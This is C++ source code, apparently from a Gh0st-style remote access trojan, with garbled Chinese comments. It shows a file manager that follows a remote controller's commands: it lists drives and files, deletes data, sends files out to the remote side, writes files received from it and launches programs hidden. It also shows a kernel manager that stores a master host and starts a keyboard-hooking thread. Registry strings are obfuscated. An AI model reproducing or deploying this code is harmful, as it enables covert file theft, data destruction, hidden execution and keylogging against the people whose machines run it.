SendFilesList((char *)lpBuffer + 1);
break;
case COMMAND_DELETE_FILE:// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
DeleteFile((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DELETE_DIRECTORY:// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
////printf("ɾ<><C9BE>Ŀ¼ %s\n", (char *)(bPacket + 1));
DeleteDirectory((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DOWN_FILES: // <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
UploadToRemote(lpBuffer + 1);
break;
case COMMAND_CONTINUE: // <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
SendFileData(lpBuffer + 1);
break;
case COMMAND_CREATE_FOLDER:
CreateFolder(lpBuffer + 1);
break;
case COMMAND_RENAME_FILE:
Rename(lpBuffer + 1);
break;
case COMMAND_STOP:
StopTransfer();
break;
case COMMAND_SET_TRANSFER_MODE:
SetTransferMode(lpBuffer + 1);
break;
case COMMAND_FILE_SIZE:
CreateLocalRecvFile(lpBuffer + 1);
break;
case COMMAND_FILE_DATA:
WriteLocalRecvFile(lpBuffer + 1, nSize -1);
break;
case COMMAND_OPEN_FILE_SHOW:
OpenFile((char *)lpBuffer + 1, SW_SHOW);
break;
case COMMAND_OPEN_FILE_HIDE:
OpenFile((char *)lpBuffer + 1, SW_HIDE);
break;
default:
break;
}
}
bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
{
LPTSTR p, pszDirCopy;
DWORD dwAttributes;
// Make a copy of the string for editing.
__try
{
pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
if(pszDirCopy == NULL)
return FALSE;
lstrcpy(pszDirCopy, pszDirPath);
p = pszDirCopy;
// If the second character in the path is "\", then this is a UNC
// path, and we should skip forward until we reach the 2nd \ in the path.
if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\')))
{
p++; // Skip over the first \ in the name.
p++; // Skip over the second \ in the name.
// Skip until we hit the first "\" (\\Server\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it.
if(*p)
{
p++;
}
// Skip until we hit the second "\" (\\Server\Share\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it also.
if(*p)
{
p++;
}
}
else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's <drive>:
{
p++;
p++;
// If it exists, skip over the root specifier
if(*p && (*p == TEXT('\\')))
{
p++;
}
}
while(*p)
{
if(*p == TEXT('\\'))
{
*p = TEXT('\0');
dwAttributes = GetFileAttributes(pszDirCopy);
// Nothing exists with this name. Try to make the directory name and error if unable to.
if(dwAttributes == 0xffffffff)
{
if(!CreateDirectory(pszDirCopy, NULL))
{
if(GetLastError() != ERROR_ALREADY_EXISTS)
{
free(pszDirCopy);
return FALSE;
}
}
}
else
{
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
{
// Something exists with this name, but it's not a directory... Error
free(pszDirCopy);
return FALSE;
}
}
*p = TEXT('\\');
}
p = CharNext(p);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
// SetLastError(GetExceptionCode());
free(pszDirCopy);
return FALSE;
}
free(pszDirCopy);
return TRUE;
}
bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
{
char lpSubKey[500];
HKEY hKey;
char strTemp[MAX_PATH];
LONG nSize = sizeof(strTemp);
char *lpstrCat = NULL;
memset(strTemp, 0, sizeof(strTemp));
const char *lpExt = strrchr(lpFile, '.');
if (!lpExt)
return false;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
RegQueryValue(hKey, NULL, strTemp, &nSize);
RegCloseKey(hKey);
memset(lpSubKey, 0, sizeof(lpSubKey));
//strcry
char shell_open_command[] = {0x15,0xee,0xb9,0x95,0xbb,0xaf,0xa3,0xa9,0xa8,0x9f,0xad,0xb1,0xa5,0xd1,0xe2,0xde,0xd3,0xd6,0xd7,0xd8,0xd6,0xd3 }; //%s\\shell\\open\\command
char* pShell_open_command = decodeStr(shell_open_command); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
wsprintf(lpSubKey, pShell_open_command, strTemp);
memset(pShell_open_command, 0, shell_open_command[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pShell_open_command;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
memset(strTemp, 0, sizeof(strTemp));
nSize = sizeof(strTemp);
RegQueryValue(hKey, NULL, strTemp, &nSize);
RegCloseKey(hKey);
lpstrCat = strstr(strTemp, "\"%1");
if (lpstrCat == NULL)
lpstrCat = strstr(strTemp, "%1");
if (lpstrCat == NULL)
{
lstrcat(strTemp, " ");
lstrcat(strTemp, lpFile);
}
else
lstrcpy(lpstrCat, lpFile);
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
//---crystr
char WinSta0[] = { 0x0f,0x9c,0xa3,0xa7,0x9b,0xb3,0xa7,0xf5,0x98,0x87,0xa7,0xa7,0xa1,0xca,0xd2,0xc9 }; //WinSta0\\Default
char* pWinSta0 = decodeStr(WinSta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//char local_lpDesktop[] = "WinSta0\\Default";
si.cb = sizeof si;
if (nShowCmd != SW_HIDE)
si.lpDesktop = pWinSta0;
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
memset(pWinSta0, 0, WinSta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pWinSta0;
}
UINT CFileManager::SendDriveList()
{
char DriveString[256];
// ǰһ<C7B0><D2BB><EFBFBD>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>52<35>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE DriveList[1024];
char FileSystem[MAX_PATH];
char *pDrive = NULL;
DriveList[0] = TOKEN_DRIVE_LIST; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
pDrive = DriveString;
unsigned __int64 HDAmount = 0;
unsigned __int64 HDFreeSpace = 0;
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
DWORD dwOffset = 0;
for (dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
{
memset(FileSystem, 0, sizeof(FileSystem));
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
SHFILEINFO sfi;
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
int nFileSystemLen = lstrlen(FileSystem) + 1;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>С
if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL))
{
AmntMB = HDAmount / 1024 / 1024;
FreeMB = HDFreeSpace / 1024 / 1024;
}
else
{
AmntMB = 0;
FreeMB = 0;
}
// <20><>ʼ<EFBFBD><CABC>ֵ
DriveList[dwOffset] = pDrive[0];
DriveList[dwOffset + 1] = GetDriveType(pDrive);
// <20><><EFBFBD>̿ռ<CCBF><D5BC><EFBFBD><EFBFBD><EFBFBD>ռȥ<D5BC><C8A5>8<EFBFBD>ֽ<EFBFBD>
memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long));
memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long));
// <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen);
memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen);
dwOffset += 10 + nTypeNameLen + nFileSystemLen;
}
return Send((LPBYTE)DriveList, dwOffset);
}
UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
{
// <20><><EFBFBD>ô<EFBFBD><C3B4>ʽ
m_nTransferMode = TRANSFER_MODE_NORMAL;
UINT nRet = 0;
char strPath[MAX_PATH];
char *pszFileName = NULL;
LPBYTE lpList = NULL;
HANDLE hFile;
DWORD dwOffset = 0; // λ<><CEBB>ָ<EFBFBD><D6B8>
int nLen = 0;
DWORD nBufferSize = 1024 * 10; // <20>ȷ<EFBFBD><C8B7><EFBFBD>10K<30>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
WIN32_FIND_DATA FindFileData;
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
wsprintf(strPath, "%s\\*.*", lpszDirectory);
hFile = FindFirstFile(strPath, &FindFileData);
if (hFile == INVALID_HANDLE_VALUE)
{
BYTE bToken = TOKEN_FILE_LIST;
return Send(&bToken, 1);
}
*lpList = TOKEN_FILE_LIST;
// 1 Ϊ<><CEAA><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>ռ<EFBFBD>ֽ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
dwOffset = 1;
/*
<09>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1
<09>ļ<EFBFBD><C4BC><EFBFBD> strlen(filename) + 1 ('\0')
<09>ļ<EFBFBD><C4BC><EFBFBD>С 4
*/
do
{
// <20><>̬<EFBFBD><CCAC>չ<EFBFBD><D5B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (dwOffset > (nBufferSize - MAX_PATH * 2))
{
nBufferSize += MAX_PATH * 2;
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
pszFileName = FindFileData.cFileName;
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
continue;
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1 <20>ֽ<EFBFBD>
*(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
dwOffset++;
// <20>ļ<EFBFBD><C4BC><EFBFBD> lstrlen(pszFileName) + 1 <20>ֽ<EFBFBD>
nLen = lstrlen(pszFileName);
memcpy(lpList + dwOffset, pszFileName, nLen);
dwOffset += nLen;
*(lpList + dwOffset) = 0;
dwOffset++;
// <20>ļ<EFBFBD><C4BC><EFBFBD>С 8 <20>ֽ<EFBFBD>
memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
dwOffset += 8;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 8 <20>ֽ<EFBFBD>
memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
dwOffset += 8;
} while(FindNextFile(hFile, &FindFileData));
nRet = Send(lpList, dwOffset);
LocalFree(lpList);
FindClose(hFile);
return nRet;
}
bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
return FALSE;
do
{
if (wfd.cFileName[0] != '.')
{
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char strDirectory[MAX_PATH];
wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);
DeleteDirectory(strDirectory);
}
else
{
char strFile[MAX_PATH];
wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName);
DeleteFile(strFile);
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>
if(!RemoveDirectory(lpszDirectory))
{
return FALSE;
}
return true;
}
UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
{
UINT nRet = 0;
DWORD dwSizeHigh;
DWORD dwSizeLow;
// 1 <20>ֽ<EFBFBD>token, 8<>ֽڴ<D6BD>С, <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>, '\0'
HANDLE hFile;
// <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
strcpy(m_strCurrentProcessFileName, lpszFileName);
hFile = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
dwSizeLow = GetFileSize(hFile, &dwSizeHigh);
CloseHandle(hFile);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
int nPacketSize = lstrlen(lpszFileName) + 10;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
memset(bPacket, 0, nPacketSize);
bPacket[0] = TOKEN_FILE_SIZE;
FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1);
pFileSize->dwSizeHigh = dwSizeHigh;
pFileSize->dwSizeLow = dwSizeLow;
memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1);
nRet = Send(bPacket, nPacketSize);
LocalFree(bPacket);
return nRet;
}
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
{
UINT nRet;
FILESIZE *pFileSize;
char *lpFileName;
pFileSize = (FILESIZE *)lpBuffer;
lpFileName = m_strCurrentProcessFileName;
// Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
if (pFileSize->dwSizeLow == -1)
{
UploadNext();
return 0;
}
HANDLE hFile;
hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
return -1;
SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN);
int nHeadLength = 9; // 1 + 4 + 4<><34><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С
DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
DWORD nNumberOfBytesRead = 0;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lpPacket[0] = TOKEN_FILE_DATA;
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
CloseHandle(hFile);
if (nNumberOfBytesRead > 0)
{
int nPacketSize = nNumberOfBytesRead + nHeadLength;
nRet = Send(lpPacket, nPacketSize);
}
else
{
UploadNext();
}
LocalFree(lpPacket);
return nRet;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
void CFileManager::UploadNext()
{
list <string>::iterator it = m_UploadList.begin();
// ɾ<><C9BE>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_UploadList.erase(it);
// <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
if(m_UploadList.empty())
{
SendToken(TOKEN_TRANSFER_FINISH);
}
else
{
// <20>ϴ<EFBFBD><CFB4><EFBFBD>һ<EFBFBD><D2BB>
it = m_UploadList.begin();
SendFileSize((*it).c_str());
}
}
int CFileManager::SendToken(BYTE bToken)
{
return Send(&bToken, 1);
}
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
{
FixedUploadList((char *)lpBuffer);
if (m_UploadList.empty())
{
StopTransfer();
return true;
}
}
else
{
m_UploadList.push_back((char *)lpBuffer);
}
list <string>::iterator it = m_UploadList.begin();
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
SendFileSize((*it).c_str());
return true;
}
bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
const char *lpszSlash = NULL;
memset(lpszFilter, 0, sizeof(lpszFilter));
if (lpPathName[lstrlen(lpPathName) - 1] != '\\')
lpszSlash = "\\";
else
lpszSlash = "";
wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
return false;
do
{
if (wfd.cFileName[0] != '.')
{
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char strDirectory[MAX_PATH];
wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
FixedUploadList(strDirectory);
}
else
{
char strFile[MAX_PATH];
wsprintf(strFile, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
m_UploadList.push_back(strFile);
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>
return true;
}
void CFileManager::StopTransfer()
{
if (!m_UploadList.empty())
m_UploadList.clear();
SendToken(TOKEN_TRANSFER_FINISH);
}
void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
{
FILESIZE *pFileSize = (FILESIZE *)lpBuffer;
// <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + 1)) + pFileSize->dwSizeLow;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
if (hFind != INVALID_HANDLE_VALUE
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
)
{
SendToken(TOKEN_GET_TRANSFER_MODE);
}
else
{
GetFileData();
}
FindClose(hFind);
}
void CFileManager::GetFileData()
{
int nTransferMode;
switch (m_nTransferMode)
{
case TRANSFER_MODE_OVERWRITE_ALL:
nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case TRANSFER_MODE_ADDITION_ALL:
nTransferMode = TRANSFER_MODE_ADDITION;
break;
case TRANSFER_MODE_JUMP_ALL:
nTransferMode = TRANSFER_MODE_JUMP;
break;
default:
nTransferMode = m_nTransferMode;
}
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
BYTE bToken[9];
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC>򿪷<EFBFBD>ʽ
memset(bToken, 0, sizeof(bToken));
bToken[0] = TOKEN_DATA_CONTINUE;
// <20>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
if (hFind != INVALID_HANDLE_VALUE)
{
// <20><>ʾ<EFBFBD><CABE>ʲô
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (nTransferMode == TRANSFER_MODE_ADDITION)
{
memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
dwCreationDisposition = OPEN_EXISTING;
}
// <20><><EFBFBD><EFBFBD>
else if (nTransferMode == TRANSFER_MODE_OVERWRITE)
{
// ƫ<><C6AB><EFBFBD><EFBFBD>0
memset(bToken + 1, 0, 8);
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
dwCreationDisposition = CREATE_ALWAYS;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
else if (nTransferMode == TRANSFER_MODE_JUMP)
{
DWORD dwOffset = -1;
memcpy(bToken + 5, &dwOffset, 4);
dwCreationDisposition = OPEN_EXISTING;
}
}
else
{
// ƫ<><C6AB><EFBFBD><EFBFBD>0 <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E4BBB0>^_^
memset(bToken + 1, 0, 8);
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
dwCreationDisposition = CREATE_ALWAYS;
}
FindClose(hFind);
HANDLE hFile =
CreateFile
(
m_strCurrentProcessFileName,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
dwCreationDisposition,
FILE_ATTRIBUTE_NORMAL,
0
);
// <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (hFile == INVALID_HANDLE_VALUE)
{
m_nCurrentProcessFileLength = 0;
return;
}
CloseHandle(hFile);
Send(bToken, sizeof(bToken));
}
void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE *pData;
DWORD dwBytesToWrite;
DWORD dwBytesWrite;
int nHeadLength = 9; // 1 + 4 + 4 <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
FILESIZE *pFileSize;
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><C6AB>
pData = lpBuffer + 8;
pFileSize = (FILESIZE *)lpBuffer;
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
LONG dwOffsetLow = pFileSize->dwSizeLow;
dwBytesToWrite = nSize - 8;
HANDLE hFile =
CreateFile
(
m_strCurrentProcessFileName,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nRet = 0;
// д<><D0B4><EFBFBD>ļ<EFBFBD>
nRet = WriteFile
(
hFile,
pData,
dwBytesToWrite,
&dwBytesWrite,
NULL
);
// if (nRet <= 0)
// printf("<22>ļ<EFBFBD>д<EFBFBD><D0B4>ʧ<EFBFBD><CAA7>");
CloseHandle(hFile);
// Ϊ<>˱Ƚϣ<C8BD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE bToken[9];
bToken[0] = TOKEN_DATA_CONTINUE;
dwOffsetLow += dwBytesWrite;
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
Send(bToken, sizeof(bToken));
}
void CFileManager::SetTransferMode(LPBYTE lpBuffer)
{
memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode));
GetFileData();
}
void CFileManager::CreateFolder(LPBYTE lpBuffer)
{
MakeSureDirectoryPathExists((char *)lpBuffer);
SendToken(TOKEN_CREATEFOLDER_FINISH);
}
void CFileManager::Rename(LPBYTE lpBuffer)
{
LPCTSTR lpExistingFileName = (char *)lpBuffer;
LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1;
::MoveFile(lpExistingFileName, lpNewFileName);
SendToken(TOKEN_RENAME_FINISH);
}

View File

@@ -0,0 +1,179 @@
// KernelManager.cpp: implementation of the CKernelManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "KernelManager.h"
#include "loop.h"
#include "until.h"
#include "inject.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
char CKernelManager::m_strMasterHost[256] = {0};
UINT CKernelManager::m_nMasterPort = 80;
CKernelManager::CKernelManager(CClientSocket *pClient, LPCTSTR lpszServiceName, DWORD dwServiceType, LPCTSTR lpszKillEvent,
LPCTSTR lpszMasterHost, UINT nMasterPort) : CManager(pClient)
{
if (lpszServiceName != NULL)
{
lstrcpy(m_strServiceName, lpszServiceName);
}
if (lpszKillEvent != NULL)
lstrcpy(m_strKillEvent, lpszKillEvent);
if (lpszMasterHost != NULL)
lstrcpy(m_strMasterHost, lpszMasterHost);
m_nMasterPort = nMasterPort;
m_dwServiceType = dwServiceType;
m_nThreadCount = 0;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
m_bIsActived = false;
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD>߳<EFBFBD>
// <20><><EFBFBD><EFBFBD>HOOK<4F><4B>UNHOOK<4F><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬһ<CDAC><D2BB><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>
m_hThread[m_nThreadCount++] =
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_HookKeyboard, NULL, 0, NULL, true);
}
CKernelManager::~CKernelManager()
{
for(int i = 0; i < m_nThreadCount; i++)
{
TerminateThread(m_hThread[i], -1);
CloseHandle(m_hThread[i]);
}
}
